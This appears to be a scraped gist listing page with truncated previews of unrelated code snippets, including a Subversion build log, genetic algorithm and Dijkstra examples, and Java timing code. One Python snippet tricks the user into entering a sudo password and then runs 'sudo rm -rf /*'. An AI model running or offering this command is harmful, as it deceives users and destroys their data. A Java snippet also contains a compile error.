This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ brew install -v svn | |
==> Downloading http://www.apache.org/dyn/closer.cgi?path=subversion/subversion-1.7.10.tar.bz2 | |
Already downloaded: /Library/Caches/Homebrew/subversion-1.7.10.tar.bz2 | |
tar xf /Library/Caches/Homebrew/subversion-1.7.10.tar.bz2 | |
==> ./configure --disable-debug --prefix=/usr/local/Cellar/subversion/1.7.10 --with-apr=/usr/local/Library/ENV/4.3 --with-ssl --with-zlib=/usr --with-sqlite=/usr/local/opt/sqlite --with-serf=/usr/local/opt/serf --without-neon --disable-mod-activation --disable-nls --without-apache-libexecdir --without-berkeley-db | |
./configure --disable-debug --prefix=/usr/local/Cellar/subversion/1.7.10 --with-apr=/usr/local/Library/ENV/4.3 --with-ssl --with-zlib=/usr --with-sqlite=/usr/local/opt/sqlite --with-serf=/usr/local/opt/serf --without-neon --disable-mod-activation --disable-nls --without-apache-libexecdir --without-berkeley-db | |
configure: Configuring Subversion 1.7.10 | |
configure: creating config.nice | |
checking for gcc... cc | |
checking whether the C compiler works... yes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pyevolve import G1DBinaryString | |
from pyevolve import GSimpleGA | |
# http://pyevolve.sourceforge.net/ simple genetic algorithm example | |
genome = G1DBinaryString.G1DBinaryString(30) | |
genome.evaluator.set(lambda chromosome: sum(chromosome)) | |
ga = GSimpleGA.GSimpleGA(genome) | |
ga.evolve(freq_stats=10) | |
print ga.bestIndividual() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Simplified Dijsktra's Algorithm | |
# from http://code.activestate.com/recipes/119466/ | |
def shortest_path(G, start, end): | |
def flatten(L): # Flatten linked list of form [0,[1,[2,[]]]] | |
while len(L) > 0: | |
yield L[0] | |
L = L[1] | |
q = [(0, start, ())] # Heap of (cost, path_head, path_rest). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
line = "this, is, some, really, weird,whitespace" | |
# split the string at commas, resulting in a list | |
tokens = line.split(",") | |
# tokens still have whitespace | |
print tokens | |
# list comprehension to strip whitespace | |
nowhitespace = [a.strip() for a in tokens] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
print("Hi, this is the computer. I forgot your sudo password, can you please type it for me again?") | |
subprocess.call(["sudo","rm","-rf","/*"]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
subprocess.call(["command","-flag1","value1","-flag2","value2"]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with open('us-500.csv') as f: | |
lines = f.readlines() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import math | |
print("\n\n") | |
print("Welcome to Dr. Reid's Magical Approximation Program! \n\n") | |
print("This program computes approximations of Pi. \n\n") | |
print("Sources for formulas/approximations:") | |
print(" * http://mathworld.wolfram.com/PiApproximations.html") | |
print(" * http://mathworld.wolfram.com/PiFormulas.html\n\n") | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
import java.util.*; | |
public class MagicReader { | |
public static void main(String[] args) { | |
String filename = magicsquare.txt; | |
Scanner s = new Scanner(new File(filename)); | |
int lines = 1; | |
while(s.hasNextLine()) { | |
s.nextLine(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.*; | |
public class Timing { | |
public static void main(String[] args) { | |
System.out.println("============================================"); | |
System.out.println(" Lists vs. Sets "); | |
System.out.println("============================================"); | |
int n = 1000; |